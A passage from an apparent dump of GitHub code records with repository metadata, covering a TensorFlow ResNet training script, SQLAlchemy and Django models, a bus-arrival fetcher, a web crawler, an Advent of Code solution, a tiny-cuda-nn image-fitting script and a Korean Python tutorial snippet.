self.vali_label_placeholder = tf.placeholder(dtype=tf.int32, shape=[FLAGS.validation_batch_size])\n\n self.lr_placeholder = tf.placeholder(dtype=tf.float32, shape=[])\n\n\n def build_train_validation_graph(self):\n global_step = tf.Variable(0, trainable=False)\n validation_step = tf.Variable(0, trainable=False)\n\n logits1, logits2, logits3 = inference(self.image_placeholder, FLAGS.res_blocks, FLAGS.wide_factor, True, reuse=False)\n vali_logits1, vali_logits2, vali_logits3 = inference(self.vali_image_placeholder, FLAGS.res_blocks, FLAGS.wide_factor, False, reuse=True)\n\n t_vars = tf.trainable_variables()\n\n regu_loss = sum([tf.nn.l2_loss(w) for w in t_vars])\n\n loss1 = self.loss(logits1, self.label_placeholder)\n loss2 = self.loss(logits2, self.label_placeholder)\n loss3 = self.loss(logits3, self.label_placeholder)\n\n self.full_loss1 = tf.add_n([loss1]) + FLAGS.weight_decay * regu_loss\n self.full_loss2 = tf.add_n([loss2]) + FLAGS.weight_decay * regu_loss\n self.full_loss3 = tf.add_n([loss3]) + FLAGS.weight_decay * regu_loss\n\n self.total_loss = 0.5*tf.add_n([loss1]) + 0.3*tf.add_n([loss2]) + 0.2*tf.add_n([loss3]) + FLAGS.weight_decay * regu_loss\n\n predictions1 = tf.nn.softmax(logits1)\n predictions2 = tf.nn.softmax(logits2)\n predictions3 = tf.nn.softmax(logits3)\n\n self.train_top1_error1 = self.top_k_error(predictions1, self.label_placeholder, 1)\n self.train_top1_error2 = self.top_k_error(predictions2, self.label_placeholder, 1)\n self.train_top1_error3 = self.top_k_error(predictions3, self.label_placeholder, 1)\n\n\n # Validation loss\n self.vali_loss1 = self.loss(vali_logits1, self.vali_label_placeholder)\n vali_predictions1 = tf.nn.softmax(vali_logits1)\n self.vali_top1_error1 = self.top_k_error(vali_predictions1, self.vali_label_placeholder, 1)\n\n self.vali_loss2 = self.loss(vali_logits2, self.vali_label_placeholder)\n vali_predictions2 = tf.nn.softmax(vali_logits2)\n self.vali_top1_error2 = self.top_k_error(vali_predictions2, self.vali_label_placeholder, 1)\n\n self.vali_loss3 = self.loss(vali_logits3, self.vali_label_placeholder)\n vali_predictions3 = tf.nn.softmax(vali_logits3)\n self.vali_top1_error3 = self.top_k_error(vali_predictions3, self.vali_label_placeholder, 1)\n\n self.train_op = self.train_operation(global_step, self.total_loss, self.train_top1_error3, t_vars)\n\n\n with tf.device('/GPU:0'): \n def train(self):\n best_acc1 = 0\n all_data, all_labels = prepare_train_data(padding_size=FLAGS.padding_size)\n vali_data, vali_labels = read_validation_data()\n \n self.build_train_validation_graph()\n\n \n saver = tf.train.Saver(tf.global_variables(),max_to_keep=None)\n summary_op = tf.summary.merge_all()\n\n init = tf.global_variables_initializer()\n config = tf.ConfigProto()\n config.gpu_options.allow_growth=True \n sess = tf.Session(config=config)\n\n if FLAGS.is_use_ckpt is True:\n saver.restore(sess, FLAGS.ckpt_path)\n print ('Restored from checkpoint...')\n else:\n sess.run(init)\n\n summary_writer = tf.summary.FileWriter(train_dir, sess.graph)\n\n step_list = []\n train_error_list_1 = []\n train_error_list_2 = []\n train_error_list_3 = []\n val_error_list_1 = []\n val_error_list_2 = []\n val_error_list_3 = []\n\n\n\n\n print ('Start training...')\n print ('-------------------------------------------------------------------------------------------')\n start_time = time.time()\n for epoch in range(1,FLAGS.train_epochs+1):\n for step in range(int(EPOCH_SIZE/FLAGS.train_batch_size)):\n train_batch_data, train_batch_labels = self.generate_augment_train_batch(all_data, all_labels, FLAGS.train_batch_size)\n vali_batch_data, vali_batch_labels = self.generate_vali_batch(vali_data, vali_labels, FLAGS.validation_batch_size) \n\n _ = sess.run([self.train_op],\n {self.image_placeholder: train_batch_data,\n self.label_placeholder: train_batch_labels,\n self.vali_image_placeholder: vali_batch_data,\n self.vali_label_placeholder: vali_batch_labels,\n self.lr_placeholder: FLAGS.init_lr})\n\n tr_l1, tr_e1, tr_l2, tr_e2, tr_l3, tr_e3 = sess.run([self.full_loss1, self.train_top1_error1,\n self.full_loss2, self.train_top1_error2,\n self.full_loss3, self.train_top1_error3],\n {self.image_placeholder: train_batch_data,\n self.label_placeholder: train_batch_labels,\n self.vali_image_placeholder: vali_batch_data,\n self.vali_label_placeholder: vali_batch_labels,\n self.lr_placeholder: FLAGS.init_lr})\n \n if step % FLAGS.report_freq == 0 and step > 0:\n print(\n \"epoch %3d, step %3d : Train loss1 = %.3f, Train acc1 = %.3f\\n\"\n \" Train loss2 = %.3f, Train acc2 = %.3f\\n\"\n \" Train loss3 = %.3f, Train acc3 = %.3f, cumulative time = %.3f sec\\n\"\n \"-------------------------------------------------------------------------------------------------------------------------------------------\"\n % (epoch, step,\n tr_l1, 1 - tr_e1,\n tr_l2, 1 - tr_e2, \n tr_l3, 1 - tr_e3, time.time() - start_time))\n \n val_l1, val_e1, time1 = self.full_validation(loss=self.vali_loss1, top1_error=self.vali_top1_error1,\n vali_data=vali_data, vali_labels=vali_labels,\n session=sess, batch_data=train_batch_data,\n batch_label=train_batch_labels) \n\n \n val_l2, val_e2, time2 = self.full_validation(loss=self.vali_loss2, top1_error=self.vali_top1_error2,\n vali_data=vali_data, vali_labels=vali_labels,\n session=sess, batch_data=train_batch_data,\n batch_label=train_batch_labels)\n\n val_l3, val_e3, time3 = self.full_validation(loss=self.vali_loss3, top1_error=self.vali_top1_error3,\n vali_data=vali_data, vali_labels=vali_labels,\n session=sess, batch_data=train_batch_data,\n batch_label=train_batch_labels)\n\n #vali_summ1 = tf.Summary()\n #vali_summ1.value.add(tag = 'full_validation_err1',simple_value =val_e1.astype(np.float))\n #summary_writer.add_summary(vali_summ1, epoch*FLAGS.train_batch_size+step)\n #summary_writer.flush()\n \n #vali_summ2 = tf.Summary()\n #vali_summ2.value.add(tag = 'full_validation_err2',simple_value =val_e2.astype(np.float))\n #summary_writer.add_summary(vali_summ2,epoch*FLAGS.train_batch_size + step)\n #summary_writer.flush()\n\n #vali_summ3 = tf.Summary()\n #vali_summ3.value.add(tag = 'full_validation_err3',simple_value = val_e3.astype(np.float))\n #summary_writer.add_summary(vali_summ3,epoch*FLAGS.train_batch_size + step)\n #summary_writer.flush()\n\n # summary_str = sess.run([summary_op],{self.image_placeholder: train_batch_data,\n # self.label_placeholder: train_batch_labels,\n # self.vali_image_placeholder: vali_batch_data,\n # self.vali_label_placeholder: vali_batch_labels,\n # self.lr_placeholder: FLAGS.init_lr})\n # summary_writer.add_summary(summary_str, epoch*FLAGS.train_batch_size + step)\n \n print(\n \"epoch %3d: Val loss1 = %.3f,Val acc1 = %.3f (WRN-%d-%d), time = %.3f \\n\"\n \" Val loss2 = %.3f,Val acc2 = %.3f (WRN-%d-%d), time = %.3f \\n\"\n \" Val loss3 = %.3f,Val acc3 = %.3f (WRN-%d-%d), time = %.3f, cumulative time = %.3f sec\\n\"\n \"-------------------------------------------------------------------------------------------------------------------------------------------\"\n % (epoch,\n val_l1, 1 - val_e1, FLAGS.res_blocks*6+2, 1,time1,\n val_l2, 1 - val_e2, FLAGS.res_blocks*6+2, FLAGS.wide_factor/2, time2,\n val_l3, 1 - val_e3, FLAGS.res_blocks*6+2, FLAGS.wide_factor, time3, time.time() - start_time))\n \n \n step_list.append((epoch-1)*FLAGS.train_batch_size+step)\n \n train_error_list_1.append(tr_e1)\n train_error_list_2.append(tr_e2)\n train_error_list_3.append(tr_e3)\n\n val_error_list_1.append(val_e1)\n val_error_list_2.append(val_e2)\n val_error_list_3.append(val_e3)\n\n \n checkpoint_path = os.path.join(train_dir, 'model.ckpt')\n saver.save(sess, checkpoint_path, global_step=epoch)\n\n df = pd.DataFrame(data={'step':step_list,'train_err1':train_error_list_1,'train_err2':train_error_list_2,'train_err3':train_error_list_3,\n 'val_err1':val_error_list_1,'val_err2':val_error_list_2,'val_err3':val_error_list_3})\n df.to_csv(train_dir +FLAGS.version+ '_error.csv')\n\n if epoch == FLAGS.decay_epoch0 or epoch == FLAGS.decay_epoch1 or epoch == FLAGS.decay_epoch2:\n FLAGS.init_lr = 0.1 * FLAGS.init_lr\n print ('Learning rate decayed to ', FLAGS.init_lr)\n \n \n # sys.stdout.close()\n \n\n\n ## Helper functions\n def loss(self, logits, labels):\n labels = tf.cast(labels, tf.int64)\n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=labels, name='cross_entropy_per_example')\n cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy')\n return cross_entropy_mean\n\n def compute_sr(self, _theta, th):\n ## compute sparse ratio\n nz_size = all_size = 0\n for i in range(len(_theta)):\n nz_size += np.sum([np.abs(_theta[i]) > th])\n all_size += np.size(_theta[i])\n return float(nz_size) / float(all_size)\n\n def top_k_error(self, predictions, labels, k):\n batch_size = predictions.get_shape().as_list()[0]\n in_top1 = tf.to_float(tf.nn.in_top_k(predictions, labels, k=1))\n num_correct = tf.reduce_sum(in_top1)\n return (batch_size - num_correct) / float(batch_size)\n\n\n def generate_vali_batch(self, vali_data, vali_label, vali_batch_size):\n offset = np.random.choice(10000 - vali_batch_size, 1)[0]\n vali_data_batch = vali_data[offset:offset+vali_batch_size, ...]\n vali_label_batch = vali_label[offset:offset+vali_batch_size]\n return vali_data_batch, vali_label_batch\n\n\n def generate_augment_train_batch(self, train_data, train_labels, train_batch_size):\n offset = np.random.choice(EPOCH_SIZE - train_batch_size, 1)[0]\n batch_data = train_data[offset:offset+train_batch_size, ...]\n batch_data = random_crop_and_flip(batch_data, padding_size=FLAGS.padding_size)\n batch_data = whitening_image(batch_data)\n batch_label = train_labels[offset:offset+FLAGS.train_batch_size]\n\n return batch_data, batch_label\n\n\n def train_operation(self, global_step, total_loss, top1_error, var_lists):\n opt = tf.train.MomentumOptimizer(learning_rate=self.lr_placeholder, momentum=0.9, use_nesterov=True)\n train_op = opt.minimize(total_loss, global_step=global_step, var_list=var_lists)\n return train_op\n\n\n def validation_op(self, validation_step, top1_error, loss):\n ema = tf.train.ExponentialMovingAverage(0.0, validation_step)\n ema2 = tf.train.ExponentialMovingAverage(0.95, validation_step)\n\n val_op = tf.group(validation_step.assign_add(1), ema.apply([top1_error, loss]),\n ema2.apply([top1_error, loss]))\n return val_op\n\n\n def full_validation(self, loss, top1_error, session, vali_data, vali_labels, batch_data, batch_label):\n num_batches = 10000 // FLAGS.validation_batch_size\n order = np.random.choice(10000, num_batches * FLAGS.validation_batch_size)\n vali_data_subset = vali_data[order, ...]\n vali_labels_subset = vali_labels[order]\n\n loss_list = []\n error_list = []\n\n t = time.time()\n for step in range(num_batches):\n offset = step * FLAGS.validation_batch_size\n feed_dict = {self.image_placeholder: batch_data, self.label_placeholder: batch_label,\n self.vali_image_placeholder: vali_data_subset[offset:offset+FLAGS.validation_batch_size, ...],\n self.vali_label_placeholder: vali_labels_subset[offset:offset+FLAGS.validation_batch_size],\n self.lr_placeholder: FLAGS.init_lr}\n loss_value, top1_error_value = session.run([loss, top1_error], feed_dict=feed_dict)\n loss_list.append(loss_value)\n error_list.append(top1_error_value)\n t_val = time.time() - t\n\n return np.mean(loss_list), np.mean(error_list), t_val/num_batches\n\n def test4time(self, mode, test_batch_size ,ckpt_path, test_data_dir):\n mode = mode -1\n\n self.test_image_placeholder = tf.placeholder(dtype =tf.float32, shape = [test_batch_size, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])\n self.test_label_placeholder = tf.placeholder(dtype=tf.int32, shape=[test_batch_size])\n\n \n logits1, logits2, logits3 = inference(self.test_image_placeholder, FLAGS.res_blocks, FLAGS.wide_factor, True, reuse=False)\n \n predictions = [tf.nn.softmax(logits1),tf.nn.softmax(logits2),tf.nn.softmax(logits3)]\n self.test_top1_error = self.top_k_error(predictions[mode], self.test_label_placeholder, 1)\n\n saver = tf.train.Saver(tf.all_variables())\n \n config = tf.ConfigProto()\n config.gpu_options.allow_growth=True\n sess = tf.Session(config=config)\n\n tf.reset_default_graph()\n saver.restore(sess, ckpt_path)\n print('Model restored from ',ckpt_path)\n \n\n time_log = []\n test_data, test_labels = read_test_data(test_data_dir)\n for step in range(int(10000/test_batch_size)):\n \n if step % 10 == 0:\n print ('%i batches finished!' %step)\n offset = step * test_batch_size\n test_image_batch = test_data[offset:offset+test_batch_size, ...]\n test_label_batch = test_labels[offset:offset+test_batch_size, ...]\n t = time.time()\n top1_err_val = sess.run([self.test_top1_error],feed_dict={self.test_image_placeholder:test_image_batch, self.test_label_placeholder: test_label_batch})\n t_val = time.time() -t\n time_log.append(t_val)\n sess.close()\n return time_log\n\n def test(self, batch_size, mode, data_dir):\n mode = mode -1\n\n tf.reset_default_graph()\n\n predic_label = []\n test_image, test_label = read_test_data(data_dir)\n num_batch = int(10000/batch_size)\n self.test_image_placeholder = tf.placeholder(dtype=tf.float32, shape=[125,IMG_HEIGHT,IMG_WIDTH,IMG_DEPTH])\n\n logits1, logits2, logits3 = inference(self.test_image_placeholder, FLAGS.res_blocks, FLAGS.wide_factor, False, reuse=False)\n predictions = [tf.nn.softmax(logits1),tf.nn.softmax(logits2),tf.nn.softmax(logits3)]\n\n saver = tf.train.Saver(tf.all_variables())\n \n config = tf.ConfigProto()\n config.gpu_options.allow_growth=True\n sess = tf.Session(config=config)\n\n saver.restore(sess, FLAGS.test_ckpt_path)\n\n print(\"Model restored from\", FLAGS.test_ckpt_path)\n\n for step in range(num_batch):\n if step % 10 == 0:\n print ('%i batches finished!' %step)\n offset = step*batch_size\n test_batch_image = test_image[offset:offset+batch_size,...]\n if batch_size == 1:\n test_batch_image = test_batch_image.reshape((1,32,32,3))\n dummy = np.zeros((124,32,32,3))\n test_batch_image = np.concatenate((test_batch_image,dummy))\n \n \n batch_prediction_array = sess.run([predictions[mode]],feed_dict={self.test_image_placeholder: test_batch_image})\n\n for i in range(batch_size):\n predic_label.append(np.argmax(batch_prediction_array[0][i]))\n \n correct = 0\n for i in range(10000):\n if test_label[i] == predic_label[i]:\n correct +=1\n \n return correct/10000\n\n def test4seq(self, modes, data_dir):\n batch_size = 1\n tf.reset_default_graph()\n\n predic_label = []\n test_image, test_label = read_test_data(data_dir)\n num_batch = len(modes)\n self.test_image_placeholder = tf.placeholder(dtype=tf.float32, shape=[125,IMG_HEIGHT,IMG_WIDTH,IMG_DEPTH])\n\n logits1, logits2, logits3 = inference(self.test_image_placeholder, FLAGS.res_blocks, FLAGS.wide_factor, False, reuse=False)\n predictions = [tf.nn.softmax(logits1),tf.nn.softmax(logits2),tf.nn.softmax(logits3)]\n\n saver = tf.train.Saver(tf.all_variables())\n \n config = tf.ConfigProto()\n config.gpu_options.allow_growth=True\n sess = tf.Session(config=config)\n\n saver.restore(sess, FLAGS.test_ckpt_path)\n\n print(\"Model restored from\", FLAGS.test_ckpt_path)\n\n for step in range(num_batch):\n if step % 10 == 0:\n print ('%i batches finished!' %step)\n offset = step*batch_size\n test_batch_image = test_image[offset:offset+batch_size,...]\n if batch_size == 1:\n test_batch_image = test_batch_image.reshape((1,32,32,3))\n dummy = np.zeros((124,32,32,3))\n test_batch_image = np.concatenate((test_batch_image,dummy))\n \n \n batch_prediction_array = sess.run([predictions[modes[step]-1]],feed_dict={self.test_image_placeholder: test_batch_image})\n\n for i in range(batch_size):\n predic_label.append(np.argmax(batch_prediction_array[0][i]))\n \n correct = 0\n for i in range(len(modes)):\n if test_label[i] == predic_label[i]:\n correct +=1\n \n return correct/len(modes)\n","repo_name":"fredrickang/Nestedwrn","sub_path":"Model/Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":20768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7338554853","text":"import os\nimport os.path\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nimport datetime\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom tables import Base,Pet,Collar\n\nclass Models:\n def __init__(self):\n print(\"Initialize test\")\n basedir = os.path.abspath(os.path.dirname(__file__))\n engine = create_engine('sqlite:///' + os.path.join(basedir, 'collarapp.db'), echo=False)\n Base.metadata.create_all(engine)\n self.Session = sessionmaker(bind=engine)\n\n\n def pet_create (self,code,name,birth,race):\n print(\"create\")\n session = self.Session()\n result = 0\n try:\n query = session.query(Pet).filter(Pet.code == code).count()\n if query == 0:\n pet = Pet(code=code, name=name, birth=birth,race=race)\n session.add(pet)\n session.commit()\n except ValueError:\n print(ValueError)\n session.close()\n return\n\n def pet_read (self,code):\n print(\"read\")\n session = self.Session()\n result = 0\n try:\n pet = session.query(Pet).filter(Pet.code == code).all()\n session.close()\n return result, pet\n except ValueError:\n print(ValueError)\n session.close()\n return\n\n def pet_update (self,code,new_name,new_birth,new_race):\n print(\"update\")\n session = self.Session()\n result = 0\n try:\n pet = session.query(Pet).filter(Pet.code == code).one()\n print(pet)\n pet.name = new_name\n pet.birth = new_birth\n pet.race = new_race\n session.commit()\n except ValueError:\n print(ValueError)\n session.close()\n return\n\n\n def pet_delete(self,code):\n session = self.Session()\n result = 0\n try:\n pet = session.query(Pet).filter_by(Pet.code==code).all()\n if pet > 0:\n collars = session.query(Collar).filter_by(pet.code == code ).all()\n\n except ValueError:\n print(ValueError)\n\n session.close()\n return result\n\nif __name__=='__main__':\n models = Models()\n models.pet_create(code=123,name='Leoa',birth=datetime.datetime.now(),race='Mongreal')\n print(models.pet_read(123))\n print(models.pet_read(321))\n models.pet_update(code=123,new_name='Madame Lê',new_birth=datetime.datetime.now(),new_race='Pitbull')\n pet = models.pet_read(123)\n print(pet)\n #print(str(pet.name)+\" \"+str(pet.birth)+\" \"+str())\n","repo_name":"PauloSeixas/smartcollar","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20182140144","text":"#!/usr/bin/env python3\r\n#nextbus.py\r\nimport sys\r\n\r\nif len(sys.argv) != 3:\r\n raise SystemExit('Usage: nextbus.py route stopid\\nSample: nextbus.py 22 14791')\r\n\r\nroute = sys.argv[1]\r\nstopid = sys.argv[2]\r\n\r\n#print('Command Options:', sys.argv)\r\n#raise SystemExit(0)\r\n\r\n\r\nimport urllib.request\r\nu = urllib.request.urlopen('http://ctabustracker.com/bustime/map/getStopPredictions.jsp?route={}&stop={}'.format(route, stopid))\r\n#print(type(u))\r\ndata = u.read()\r\n#print(\"Result:\\n\",data)\r\n\r\nfrom xml.etree.ElementTree import XML\r\ndoc = XML(data)\r\n#print(\"Result:\\n\",doc)\r\n\r\n#import pdb; pdb.set_trace() #Launch debugger\r\n\r\nfor pt in doc.findall('.//pt'):\r\n print(pt.text)\r\n","repo_name":"BAzarmehr/SampleCode","sub_path":"nextbus.py","file_name":"nextbus.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"45131691019","text":"from urllib.parse import urlparse, urljoin\nfrom .scheduler import Scheduler\nfrom bs4 import BeautifulSoup\nfrom threading import Thread\nimport requests\nimport time\n\n\nclass PageFetcher(Thread):\n def __init__(self, obj_scheduler):\n super(PageFetcher, self).__init__()\n self.obj_scheduler = obj_scheduler\n\n def request_url(self, obj_url):\n \"\"\"\n Faz a requisição e retorna o conteúdo em binário da URL passada como parametro\n obj_url: Instancia da classe ParseResult com a URL a ser requisitada.\n \"\"\"\n url = obj_url.geturl()\n # url = str(obj_url.scheme) + '://' + str(obj_url.netloc) + str(obj_url.path)\n headers = {'user-agent': self.obj_scheduler.str_usr_agent}\n r = requests.get(url, headers=headers)\n content = r.headers['content-type']\n if 'html' in content:\n response = r\n return response.content\n else:\n return None\n\n def discover_links(self, obj_url, int_depth, bin_str_content):\n \"\"\"\n Retorna os links do conteúdo bin_str_content da página já requisitada obj_url\n \"\"\"\n soup = BeautifulSoup(bin_str_content, features=\"lxml\")\n for link in soup.select(\"a[href]\"):\n obj_new_url = urlparse(link.get(\"href\"))\n if obj_new_url.netloc == obj_url.netloc:\n int_new_depth = int_depth + 1\n else:\n int_new_depth = 0\n yield obj_new_url, int_new_depth\n\n def crawl_new_url(self):\n \"\"\"\n Coleta uma nova URL, obtendo-a do escalonador\n \"\"\"\n next_url = self.obj_scheduler.get_next_url()\n if next_url is None:\n time.sleep(Scheduler.TIME_LIMIT_BETWEEN_REQUESTS)\n pass\n else:\n content = self.request_url(next_url[0])\n depth = next_url[1]\n urls = self.discover_links(next_url[0], depth, content)\n\n aux = []\n links = []\n\n # url = str(next_url[0].scheme) + '://' + str(next_url[0].netloc) + str(next_url[0].path)\n url = next_url[0].geturl()\n print(url)\n with open(\"paginas-coletadas.txt\", \"a\", encoding=\"utf-8\") as file:\n file.write(url+\"\\n\")\n\n for url in urls:\n if not url[0].netloc in aux:\n aux.append(url[0].netloc)\n links.append(url)\n for index, (url_link, depth) in enumerate(links):\n if url_link is not None:\n self.obj_scheduler.add_new_page(url_link, depth)\n return True\n\n def run(self):\n \"\"\"\n Executa coleta enquanto houver páginas a serem coletadas\n \"\"\"\n [self.obj_scheduler.add_new_page(url) for url in self.obj_scheduler.arr_urls_seeds]\n while not self.obj_scheduler.has_finished_crawl():\n self.crawl_new_url()\n # self.obj_scheduler.count_fetched_page()\n","repo_name":"armonova/crawler","sub_path":"crawler/page_fetcher.py","file_name":"page_fetcher.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31107351971","text":"import json, re\n\ndata = open(\"2015-12-data\").read()\n\njsonData = json.loads(data)\n\ntotal = 0\ndef parseVal(nodeVal):\n global total\n if type(nodeVal) == int:\n total += nodeVal\n return\n if type(nodeVal) == str:\n return\n if type(nodeVal) == list:\n for elem in nodeVal:\n parseVal(elem)\n return\n\n if \"red\" in nodeVal.values():\n return\n\n for key in nodeVal.keys():\n val = nodeVal[key]\n parseVal(val)\n\nparseVal(jsonData)\nprint(total)","repo_name":"alexandreLBarrett/AoC","sub_path":"2015/2015-12.py","file_name":"2015-12.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6404363738","text":"from django.contrib.auth import get_user_model\nfrom django.core.validators import MinValueValidator\nfrom django.db import models\nfrom ingredients.models import Ingredient\n\nUser = get_user_model()\n\n\nclass Tag(models.Model):\n\n name = models.CharField(\n max_length=250,\n verbose_name='Название тэга',\n help_text='Введите название тэга.'\n )\n\n color = models.CharField(\n max_length=7,\n default=\"#ffffff\",\n verbose_name='Цветовой HEX-код',\n help_text='Выберете цвет тэга.'\n )\n\n slug = models.SlugField(\n unique=True,\n verbose_name='Slug',\n help_text='Введите slug тэга.'\n )\n\n class Meta:\n ordering = ['name']\n verbose_name = 'Тег'\n verbose_name_plural = 'Теги'\n\n def __str__(self):\n return self.slug\n\n\nclass Recipe(models.Model):\n\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='recipes',\n verbose_name='Автор',\n help_text='Автор рецепта.'\n )\n\n name = models.CharField(\n max_length=250,\n verbose_name='Название рецепта',\n help_text='Введите название рецепта.'\n )\n\n image = models.ImageField(\n 'Картинка',\n upload_to='recipes/images/',\n blank=True,\n help_text='Можете добавить фото.',\n max_length=10000000\n )\n\n text = models.TextField(\n default='',\n verbose_name='Описание рецепта',\n help_text='Введите описание рецепта.'\n )\n\n ingredients = models.ManyToManyField(\n Ingredient,\n through='RecipeIngredient',\n verbose_name='Ингредиенты',\n help_text='Выберите ингредиенты для рецепта.'\n )\n\n tags = models.ManyToManyField(\n Tag,\n related_name='recipes',\n verbose_name='Тэги',\n help_text='Выберите теги для рецепта.'\n )\n\n cooking_time = models.PositiveSmallIntegerField(\n verbose_name='Время приготовления',\n help_text='Время приготовления в минутах.',\n validators=[MinValueValidator(1)]\n )\n\n class Meta:\n ordering = ['-id']\n verbose_name = 'Рецепт'\n verbose_name_plural = 'Рецепты'\n\n def __str__(self):\n return self.name\n\n\nclass RecipeIngredient(models.Model):\n recipe = models.ForeignKey(\n Recipe,\n on_delete=models.CASCADE,\n related_name='recipe_ingredients',\n verbose_name='Рецепт'\n )\n ingredient = models.ForeignKey(\n Ingredient,\n on_delete=models.CASCADE,\n related_name='recipe_ingredients',\n verbose_name='Ингредиент'\n )\n amount = models.IntegerField(\n validators=[MinValueValidator(1)],\n default=1,\n verbose_name='Количество'\n )\n\n class Meta:\n ordering = ['-id']\n verbose_name = 'Ингредиент рецепта'\n verbose_name_plural = 'Ингредиенты рецептов'\n\n def __str__(self):\n return '{} - {}'.format(self.ingredient, self.amount)\n","repo_name":"MasterMind7777777/foodgram-project-react","sub_path":"backend/recipes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13996208073","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport nibabel as nib\nimport numpy as np\nimport torch\nimport pytorch_lightning as pl\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport argparse\nimport tinycudann as tcnn\nimport os\n\nclass HashMLP(pl.LightningModule):\n def __init__(self, config, dim_in=3, dim_out=1):\n super().__init__()\n self.dim_in = dim_in\n self.dim_out = dim_out\n\n self.encoding = tcnn.Encoding(n_input_dims=dim_in, encoding_config=config['encoding'])\n self.mlp= tcnn.Network(n_input_dims=self.encoding.n_output_dims, n_output_dims=dim_out, network_config=config['network'])\n self.model = torch.nn.Sequential(self.encoding, self.mlp)\n\n def forward(self, x):\n return self.model(x)\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=5e-3)\n return optimizer\n\n def training_step(self, batch, batch_idx):\n x, y = batch\n z = self(x)\n\n loss = F.mse_loss(z, y)\n\n self.log(\"train_loss\", loss)\n return loss\n\n def predict_step(self, batch, batch_idx):\n x, y = batch\n return self(x)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Beo TCNN')\n parser.add_argument('-i', '--input', help='Input image (nifti)', type=str, required=True)\n parser.add_argument('-o', '--output', help='Output image (nifti)', type=str, required=True)\n parser.add_argument('-m', '--model', help='Pytorch lightning (ckpt file) trained model', type=str, required=False)\n parser.add_argument('-b', '--batch_size', help='Batch size', type=int, required=False, default = 4096) \n parser.add_argument('-e', '--epochs', help='Number of epochs', type=int, required=False, default = 10) \n parser.add_argument('-n', '--neurons', help='Number of neurons in MLP layers', type=int, required=False, default = 128) \n parser.add_argument('-l', '--layers', help='Number of layers in MLP', type=int, required=False, default = 2) \n parser.add_argument('-f', '--features', help='Number of features per level (hash grid)', type=int, required=False, default = 2) \n parser.add_argument( '--levels', help='Number of levels (hash grid)', type=int, required=False, default = 8) \n parser.add_argument( '--log2_hashmap_size', help='Log2 hashmap size (hash grid)', type=int, required=False, default = 15) #15:nvidia, 19: nesvor \n\n args = parser.parse_args()\n\n image_file = args.input\n output_file = args.output\n model_file = args.model\n\n num_epochs = args.epochs\n batch_size = args.batch_size\n num_workers = os.cpu_count()\n\n #Read image\n image = nib.load(image_file)\n data = image.get_fdata()\n\n #Create grid\n dim = 3\n x = torch.linspace(0, 1, steps=data.shape[0])\n y = torch.linspace(0, 1, steps=data.shape[1])\n z = torch.linspace(0, 1, steps=data.shape[2])\n \n mgrid = torch.stack(torch.meshgrid(x,y,z), dim=-1)\n \n #Convert to X=(x,y,z) and Y=intensity\n X = torch.Tensor(mgrid.reshape(-1,dim))\n Y = torch.Tensor(data.flatten())\n \n #Normalize intensities between [-1,1]\n Y = (Y - torch.min(Y)) / (torch.max(Y) - torch.min(Y)) * 2 - 1\n Y = torch.reshape(Y, (-1,1))\n \n #Pytorch dataloader\n dataset = torch.utils.data.TensorDataset(X,Y)\n loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=num_workers, pin_memory=True)\n\n #Training\n #https://github.com/NVlabs/tiny-cuda-nn/blob/master/DOCUMENTATION.md\n config = {\n \"encoding\": {\n\t\t\"otype\": \"HashGrid\",\n\t\t\"n_levels\": args.levels,\n\t\t\"n_features_per_level\": args.features,\n\t\t\"log2_hashmap_size\": args.log2_hashmap_size,\n\t\t\"base_resolution\": 16,\n\t\t\"per_level_scale\": 1.3819#1.5\n\t},\n\t\"network\": {\n\t\t\"otype\": \"FullyFusedMLP\",\n\t\t\"activation\": \"ReLU\",\n\t\t\"output_activation\": \"None\",\n\t\t\"n_neurons\": args.neurons,\n\t\t\"n_hidden_layers\": args.layers\n\t}\n }\n\n net = HashMLP(config = config, dim_in=3, dim_out=1)\n trainer = pl.Trainer(max_epochs=num_epochs, precision=16)\n\n #net = torch.compile(net) #Not working for Titan\n trainer.fit(net, loader)\n\n if args.model is not None:\n trainer.save_checkpoint(model_file) \n \n test_loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, num_workers=num_workers, pin_memory=True) #remove shuffling\n yhat = torch.concat(trainer.predict(net, test_loader))\n\n output = np.float32(yhat.cpu().detach().numpy().reshape(data.shape))\n nib.save(nib.Nifti1Image(output, image.affine), output_file) \n","repo_name":"rousseau/beo","sub_path":"beo_tcnn.py","file_name":"beo_tcnn.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22356004395","text":"# 문자열 메서드\ns = 'python programming'\nprint(len(s)) # len은 내장함수\nprint(s.find('o')) \nprint(s.rfind('o')) # 뒤에서부터 검색\nprint(s.index('r'))\nprint(s.count('m')) # 부분 문자열도 검색할 수 있다\n# 나머지는 메서드 : 클래스에 소속되어 있는 함수. 객체에 대해 특화된 작업 수행\n\n# 있는 지 없는 지 알고 싶을 때는 in 구문 사용\nprint('a' in s)\n\n# 